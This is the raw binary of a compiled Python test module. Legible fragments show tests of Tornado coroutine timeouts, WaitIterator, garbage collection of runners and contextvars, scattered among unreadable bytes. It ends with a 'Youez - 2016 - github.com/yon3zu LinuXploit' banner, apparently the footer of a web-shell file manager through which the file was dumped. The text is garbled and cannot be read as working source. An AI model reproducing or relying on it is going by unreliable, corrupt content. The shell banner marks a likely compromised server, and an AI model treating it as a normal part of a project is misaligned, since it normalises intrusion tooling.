�K�t���|j�tjd����fd���tjtjd������V�}|�|d��dS)Nr�r�c�.����d��S)N�asdf)r�rs�r�<lambda>z?WithTimeoutTest.test_completes_before_timeout.<locals>.<lambda>�s���V�5F�5F�v�5N�5N�r�r�)rr5�add_timeoutr�r�rr�r\)rr#rs  @r�test_completes_before_timeoutz-WithTimeoutTest.test_completes_before_timeout�s������������ � ���s�+�+�+�-N�-N�-N�-N�	
�	
�	
��'��(:�4�(H�(H�(H�&�Q�Q�Q�Q�������(�(�(�(�(rc#�D�K�t���|j�tjd����fd���|�t��5tjtjd������V�ddd��dS#1swxYwYdS)Nr�r�c�F����t����Sr )�
set_exceptionr?r�s�rr�z;WithTimeoutTest.test_fails_before_timeout.<locals>.<lambda>�s���F�(�(�):�)<�)<�=�=�rr�)	rr5r�r�r�r>r?rr�)rrs @r�test_fails_before_timeoutz)WithTimeoutTest.test_fails_before_timeout�s������������ � ���s�+�+�+�=�=�=�=�	
�	
�	
��
�
�0�
1�
1�	M�	M��"�8�#5�d�#C�#C�#C�V�L�L�L�L�L�	M�	M�	M�	M�	M�	M�	M�	M�	M�	M�	M�	M����	M�	M�	M�	M�	M�	Ms�+B�B�Bc#��K�t��}|�d��tjt	jd���|��V�}|�|d��dS)Nr�r�r�)rrrr�r�r�r\)rrr#s   r�test_already_resolvedz%WithTimeoutTest.test_already_resolved�se�����������&�!�!�!��'��(:�4�(H�(H�(H�&�Q�Q�Q�Q�������(�(�(�(�(rc	#�jK�tjd��5}|�tj��5tj|j���|�tj	d����V�ddd��n#1swxYwYddd��dS#1swxYwYdS)Nr*r�)
r�ThreadPoolExecutorr>rr�r�r5rv�submitr��r�executors  r�test_timeout_concurrent_futurez.WithTimeoutTest.test_timeout_concurrent_future�s(�����
'��
*�
*�	�h��"�"�3�#3�4�4�
�
��&��L�%�%�'�'������S�)I�)I������
�
�
�
�
�
�
�
�
�
�
����
�
�
�
�	�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	�	�	s5� B(�A
B�B(�B	�B(�B	�B(�(B,�/B,c#�K�tjd��5}d�}|�|��}|���t	jt
jd���|��V�ddd��dS#1swxYwYdS)Nr*c��dSr r1r1rrr9z?WithTimeoutTest.test_completed_concurrent_future.<locals>.dummyr:rr�r�)rr�r�r#rr�r�r�)rr�r9r2s    r� test_completed_concurrent_futurez0WithTimeoutTest.test_completed_concurrent_futures������
'��
*�
*�	H�h�
�
�
�����&�&�A�
�H�H�J�J�J��"�8�#5�d�#C�#C�#C�Q�G�G�G�G�G�	H�	H�	H�	H�	H�	H�	H�	H�	H�	H�	H�	H����	H�	H�	H�	H�	H�	Hs�AA;�;A?�A?c#��K�tjd��5}tjt	jd���|�d�����V�ddd��dS#1swxYwYdS)Nr*r�r�c�*�tjd��S)Nr!)rvr�r1rrr�z?WithTimeoutTest.test_normal_concurrent_future.<locals>.<lambda>s���
�4�(8�(8�r)rr�rr�r�r�r�r�s  r�test_normal_concurrent_futurez-WithTimeoutTest.test_normal_concurrent_futures������
'��
*�
*�	�h��"��"�4�0�0�0���� 8� 8�9�9���
�
�
�	�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	�	�	s�?A#�#A'�*A'N)r�r�r�r	r�r�r�r�r�r�r�r1rrr�r��s�������
�N�N��X�N��)�)��X�)��M�M��X�M��)�)��X�)�����X���
H�
H��X�
H�����X���rr�c��eZdZed���Zed���Zd�Zed���Zed���Zed���Z	dS)�WaitIteratorTestc��tj��}|�|���d��|�t
��5tjt
��t
�����}ddd��n#1swxYwY|�|jdd��|�|j	dd��dS)Nzempty generator iterated)rd�bad nil current index�bad nil current future)
r�WaitIteratorr|�doner>r?rr\�
current_index�current_future)r�gs  r�test_empty_iteratorz$WaitIteratorTest.test_empty_iterators����������������"<�=�=�=�
�
�
�z�
*�
*�	9�	9�� ����v�x�x�8�8�8�A�	9�	9�	9�	9�	9�	9�	9�	9�	9�	9�	9����	9�	9�	9�	9�	
�����$�0G�H�H�H�����)�4�1I�J�J�J�J�Js�/B�B�Bc#�6K�t��}t��}t��}|�d��|�d��|�d��tj|||��}d}|����s(|���V�}|dkrM|�|jd��|�|j	|��|�|d��n�|dkrM|�|jd��|�|j	|��|�|d��nR|dkrL|�|jd��|�|j	|��|�|d��|dz
}|�����(|�|jdd��|�|j	dd��tj||�	��}|���s�|���V�}|jd
kr&|�
|j	|ko|dkd��n^|jdkr&|�
|j	|ko|dkd��n-|�d
�|j����|dz
}|�����|�|jdd��|�|j	dd��dS)N�rH�Trr*rPr�r�)r�r�r�z"WaitIterator dict status incorrectr�zgot bad WaitIterator index {})
rrrr�r��nextr\r�r�r�r|�fail�format)	rr�r�r�r�r�r�dg�drs	         r�test_already_donez"WaitIteratorTest.test_already_done)s����
�X�X��
�X�X��
�X�X��
�
�
�b����
�
�
�b����
�
�
�b������R��R�(�(��
���&�&�(�(�	��f�f�h�h���A��A�v�v�� � ���!�4�4�4��
�
�a�.��3�3�3�� � ��B�'�'�'�'��a���� � ���!�4�4�4��
�
�a�.��3�3�3�� � ��B�'�'�'�'��a���� � ���!�4�4�4��
�
�a�.��3�3�3�� � ��B�'�'�'�
��F�A�!�&�&�(�(�	�$	
�����$�0G�H�H�H�����)�4�1I�J�J�J�
�
���
+�
+�
+���'�'�)�)�	��w�w�y�y���B���4�'�'�����%��+�8��b��8������!�T�)�)�����%��+�8��b��8�����
�	�	�9�@�@��AQ�R�R�S�S�S�
��F�A��'�'�)�)�	�"	
����)�4�1H�I�I�I�����*�D�2J�K�K�K�K�Krc�v�|dkr|d�d��nj|dkr(|d�t����n<|dkr6|d�d��|d�d	��|dkr&|j�|j|dz|��dSdS)
Nr[rPr�rr�r*rHr�)rr�r?r5r��finish_coroutines)rr)rs   rr�z"WaitIteratorTest.finish_coroutines_s�����>�>��A�J�!�!�"�%�%�%�%�
�!�^�^��A�J�$�$�%6�%8�%8�9�9�9�9�
�!�^�^��A�J�!�!�"�%�%�%��A�J�!�!�"�%�%�%��q�=�=��L�%�%�d�&<�i�!�m�W�U�U�U�U�U��=rc#�K�t��t��t��t��g}|�d|��tj|�}d}|����s	|���V�}|dkr4|�|dd��|�|jdd��n�|dkr4|�|dd��|�|jdd��nl|dkr3|�|d	d��|�|jdd��n2#t$r%|�	|j
|dd
��YnwxYw|dz
}|�����dSdS)Nrr��iterator value incorrectrP�wrong indexrHr*r[r�zexception future invalid)rr�rr�r�r�r\r�r?r�r�)rrr�rr�s     r�
test_iteratorzWaitIteratorTest.test_iteratorks������8�8�V�X�X�v�x�x����:�����q�'�*�*�*���g�&��
���&�&�(�(�	�

H��&�&�(�(�N�N����6�6��$�$�Q��,F�G�G�G��$�$�Q�_�a��G�G�G�G��!�V�V��$�$�Q��,F�G�G�G��$�$�Q�_�a��G�G�G�G��!�V�V��$�$�Q��,F�G�G�G��$�$�Q�_�a��G�G�G���%�
X�
X�
X��
�
�a�.���
�<V�W�W�W�W�W�
X����
��F�A��&�&�(�(�	�	�	�	�	s�5D9�9,E(�'E(c#���K�t��t��t��t��g���d���d�_��fd�}|��V����j��dS)NrFc��F�K�d}tj��}	|23d{V��}|dkr4��|dd����|jdd��nt	d���|dz
}�V6n#t
$r|dz
}YnwxYw|23d{V��}|dkr4��|dd����|jdd��nL|d	kr4��|d
d����|jd	d��nt	d|z���|dz
}��6d�_dS)
Nrr�r�rPr�z!expected exception on iteration 1r*rHr[r�zdidn't expect iteration %dT)rr�r\r�r-r?r�)rr�r�rrs   ��rr2z5WaitIteratorTest.test_iterator_async_await.<locals>.f�s�������A�� �'�*�A�	
� ��������!��A�v�v��(�(��B�0J�K�K�K��(�(���!�]�K�K�K�K�'�(K�L�L�L���F�A�A�
 !�q��%�
�
�
��Q�����
�����	
�	
�	
�	
�	
�	
�	
�a���6�6��$�$�Q��,F�G�G�G��$�$�Q�_�a��G�G�G�G��!�V�V��$�$�Q��,F�G�G�G��$�$�Q�_�a��G�G�G�G�#�$@�1�$D�E�E�E��Q�����!�D�M�M�Ms"�A/�A-�AA/�/B�B�D)rr�r�r|)rr2rs` @r�test_iterator_async_awaitz*WaitIteratorTest.test_iterator_async_await�s�������
�8�8�V�X�X�v�x�x����:�����q�'�*�*�*���
�	!�	!�	!�	!�	!�	!�2�a�c�c�	�	�	�����
�&�&�&�&�&rc#��K�tjtjd���tjtjd���������V�dS)Nr�r�r)rr�r�r�r�r�r�r�s r�test_no_refzWaitIteratorTest.test_no_ref�sc��������s�+�+�+�S�-=�c�i��l�l�-K�-K�-P�-P�-R�-R�
�
�	
�	
�	
�	
�	
rN)
r�r�r�r	r�r�r�r�r�r�r1rrr�r�s�������
�K�K��X�K��3L�3L��X�3L�j
V�
V�
V�����X��2�"'�"'��X�"'�H�
�
��X�
�
�
rr�c�<�eZdZd�Zed���Zd�Zd�Zd�ZdS)�RunnerGCTestc�P�tj��dkotjdkS)N�PyPyr1)�platform�python_implementationr\r]r�s r�is_pypy3zRunnerGCTest.is_pypy3�s$���-�/�/�6�9�U�c�>N�QU�>U�Urc#����K�dg��fd��tj���fd���}tjtjd���|����V�dS)Nc�v��tjd���d���d��dS)NrPr�{)�gc�collectr)�
weakref_scopes�r�callbackz&RunnerGCTest.test_gc.<locals>.callback�s7����J�q�M�M�M��M�!����)�)�#�.�.�.�.�.rc3��K�t��}tj|���d<�j����|V�dS)Nr)rr<r=r5r�)�futr�rr�s ���r�testerz$RunnerGCTest.test_gc.<locals>.tester�sG������(�(�C�&�{�3�/�/�M�!���L�%�%�h�/�/�/��I�I�I�I�Irr*r�)rr4r�r�r�)rr�r�r�s` @@r�test_gczRunnerGCTest.test_gc�s����������
�	/�	/�	/�	/�	/�

��	�	�	�	�	�	�
��	�����q�)�)�)��F�H�H�
�
�	
�	
�	
�	
�	
rc�����|���}g�g�tj�fd����tj��fd���}|�|��|���tj��|��d��d��|�t���d��|�
��s|��dd��dSdS)Nc3��K�		tjd��V���d���,#��d��wxYw�NTg����MbP?�rr�r�r#s�r�
infinite_coroz9RunnerGCTest.test_gc_infinite_coro.<locals>.infinite_coro�sW�����
$�(��)�D�/�/�)�)�)��M�M�$�'�'�'�(��
�
�
�d�#�#�#�#���s	�-2�A	c3��K����}||_��tj|����t	jd��V�dS�Ng�������?)�	_refcyclerr<r=rr�)r�r��wfuts ��r�do_somethingz8RunnerGCTest.test_gc_infinite_coro.<locals>.do_something�sO������-�/�/�C��C�M��K�K���C�(�(�)�)�)��)�C�.�.� � � � � rrrP���)�get_new_iolooprr4r6�closer�r�r��assertGreaterEqual�lenr�)r�loopr�r�r#r�s   @@@r�test_gc_infinite_coroz"RunnerGCTest.test_gc_infinite_coro�s������"�"�$�$������	��	$�	$�	$�	$�
��	$�

��	!�	!�	!�	!�	!�
��	!�	
�
�
�l�#�#�#��
�
����
�
�����
�
�g�d�1�g�i�i��&�&�&�����F���Q�/�/�/��}�}���	,��M�M�&��*�d�+�+�+�+�+�	,�	,rc�:�����ddl�d��|���}g�g�tj����fd���}|�|��tdd��5|���tj��ddd��n#1swxYwY|�	�d��d��|�
t���d��|���s|�	�dd��dSdS)Nrc��K�		tjd���d{V��|�d���0#|�d��wxYwr�r�r�s rr�z@RunnerGCTest.test_gc_infinite_async_await.<locals>.infinite_coro�sb����
$�(��)�D�/�/�)�)�)�)�)�)�)��M�M�$�'�'�'�(��
�
�
�d�#�#�#�#���s	�15�Ac3���K��j���������}||_��t	j|����t
jd��V�dSr�)rG�create_taskr�rr<r=rr�)r�r�r�r#r�s ����rr�z?RunnerGCTest.test_gc_infinite_async_await.<locals>.do_somethingsl�����(�'�(�*�*�6�6�}�}�V�7L�7L�M�M�C��C�M��K�K���C�(�(�)�)�)��)�C�.�.� � � � � rr�z$Task was destroyed but it is pendingrPr�)
r�r�rr4r6rr�r�r�r�r�r�r�)rr�r�r�r�r#r�s   @@@@r�test_gc_infinite_async_awaitz)RunnerGCTest.test_gc_infinite_async_await�su����������	$�	$�	$��"�"�$�$������	��	!�	!�	!�	!�	!�	!�	!�
��	!�	
�
�
�l�#�#�#�
�y�"H�
I�
I�	�	��J�J�L�L�L��J�L�L�L�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	�	
�
�
�g�d�1�g�i�i��&�&�&�����F���Q�/�/�/��}�}���	,��M�M�&��*�d�+�+�+�+�+�	,�	,s�#(B�B�Bc��tjd���}|���}|�|��}|�|ddg��dS)Nc3�K�tjtjtjg��V�}tj|���r )r�multirrr�s r�
wait_a_momentz5RunnerGCTest.test_multi_moment.<locals>.wait_a_moments4�����9�c�j�#�*�%=�>�>�>�>�F��*�V�$�$�$r)rr4r�r6r\)rrr�r#s    r�test_multi_momentzRunnerGCTest.test_multi_momentsc��

��	%�	%�
��	%��"�"�$�$�����}�-�-������$���.�.�.�.�.rN)	r�r�r�r�r	r�r�rrr1rrr�r��sp������V�V�V��
�
��X�
�*",�",�",�H",�",�",�H
/�
/�
/�
/�
/rr��ctx_varzcontextvars module not presentc��eZdZd�Zejd���Zd�Zejd���Zd�Z	e
d���Ze
d���ZdS)	�ContextVarsTestc��tK�t�|��|�|���d{V��dSr �r�setr*r,s  r�native_rootzContextVarsTest.native_root*s=�������A�����j�j��m�m���������rc#�tK�t�|��dV�|�|��V�dSr rr,s  r�gen_rootzContextVarsTest.gen_root.s:�������A����
�����j�j��m�m�����rc�����K���t������������d{V����t������t	j����j�d���fd����d{V����t������tj	���d���fd����d{V����t������dS)Nc�:�����j���Sr ��run�thread_inner��ctxrr-s���rr�z'ContextVarsTest.inner.<locals>.<lambda>;s�������AR�TU�9V�9V�rc�:�����j���Sr rrs���rr�z'ContextVarsTest.inner.<locals>.<lambda>@s���#�'�'�$�"3�Q�7�7�r)
r\rrf�	gen_inner�contextvars�copy_contextr5�run_in_executorr�rG)rr-rs``@rr*zContextVarsTest.inner4sM����������������*�*�*��n�n�Q�������������������*�*�*��&�(�(���l�*�*�4�1V�1V�1V�1V�1V�1V�W�W�W�W�W�W�W�W�W����������*�*�*��$�&�&�6�6��7�7�7�7�7�7�
�
�	
�	
�	
�	
�	
�	
�	
�	
���������*�*�*�*�*rc#��K�|�t���|��dV�|�t���|��dSr �r\rrfr,s  rrzContextVarsTest.gen_innerDsQ�������������*�*�*�
�������������*�*�*�*�*rc�`�|�t���|��dSr rr,s  rrzContextVarsTest.thread_innerJs&�����������*�*�*�*�*rc#�K�|�d��|�d��|�d��|�d��gV�dS)Nr*rPr[�)r
rr�s r�test_propagatezContextVarsTest.test_propagateMsf����

���Q������Q����M�M�!����M�M�!���	
�	
�	
�	
�	
�	
rc#�zK�t�d��}dV�t�|��dSr))rr�reset)r�tokens  r�
test_resetzContextVarsTest.test_resetXs8�������A����
����	�
�
�e�����rN)
r�r�r�r
rr4rr*rrr	r!r%r1rrr	r	(s����������	�]����]��
+�+�+� 	�]�+�+��]�+�
+�+�+��
�
��X�
�����X���rr	�__main__)3r��
concurrentrr�r�r�r\rvr<rZ�tornado.concurrentr�tornado.logr�tornado.testingrrrr	�tornado.test.utilr
r�tornado.webrr
r�tornadorr�ImportError�typing�
TYPE_CHECKINGrrrr�r`rirlrsryr|r�r�r��
ContextVarrr[r	r��mainr1rr�<module>r3s�������������	�	�	�	���������
�
�
�
�������������%�%�%�%�%�%�������Q�Q�Q�Q�Q�Q�Q�Q�Q�Q�Q�Q�:�:�:�:�:�:�:�:�>�>�>�>�>�>�>�>�>�>�������������������K�K�K������
�
�
�	��&�%�%�%�%�%�%�%�%�y;�y;�y;�y;�y;�=�y;�y;�y;�xc�c�c�c�c�}�c�c�c�L�����.����	�	�	�	�	�N�	�	�	�
)�
)�
)�
)�
)�>�
)�
)�
)� �����~���������^����"/�"/�"/�"/�"/�"�"/�"/�"/�J=�=�=�=�=�m�=�=�=�@U
�U
�U
�U
�U
�}�U
�U
�U
�pl/�l/�l/�l/�l/�=�l/�l/�l/�^��$�k�$�Y�/�/�G������$�&F�G�G�5�5�5�5�5�m�5�5�H�G�5�p�z����H�M�O�O�O�O�O��s�A�A'�&A'

Youez - 2016 - github.com/yon3zu
LinuXploit